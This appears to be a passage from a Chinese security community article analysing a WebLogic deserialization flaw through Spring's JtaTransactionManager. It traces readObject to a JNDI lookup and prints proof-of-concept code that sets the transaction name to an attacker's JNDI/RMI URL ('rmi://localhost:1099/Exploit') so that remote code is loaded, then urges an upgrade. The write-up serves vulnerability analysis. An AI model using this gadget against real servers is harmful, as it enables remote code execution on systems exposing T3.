public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
private transient JndiTemplate jndiTemplate;
private transient UserTransaction userTransaction;
private String userTransactionName;
.....
JtaTransactionManager类继承自AbstractPlatformTransactionManager，实现了Serializable接口，其中私有属性userTransactionName是用于JNDI寻址。
在Java反序列化中，入口有很多，readObject是最常见的，定位到JtaTransactionManager.readObject方法，实现如下：
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}
继续跟踪initUserTransactionAndTransactionManager方法的实现：
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
}
}
.....
在
initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction
关键寻址部分代码如下：
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
} catch (NamingException var3) {
throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
}
}
有了如上的分析，构造PoC也是水到渠成，下面是PoC的关键代码：
public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}
更详细的关于JNDI的使用可参考作者以前的博文，这里不再重复。漏洞效果如下图：
由于这个漏洞利用的gadget是weblogic中自带的，跟JDK版本无关，所以只要系统能连外网，未禁止T3协议，漏洞就可以利用，威力巨大，请尽快升级到Weblogic最新版。 | 社区文章 |
Subsets and Splits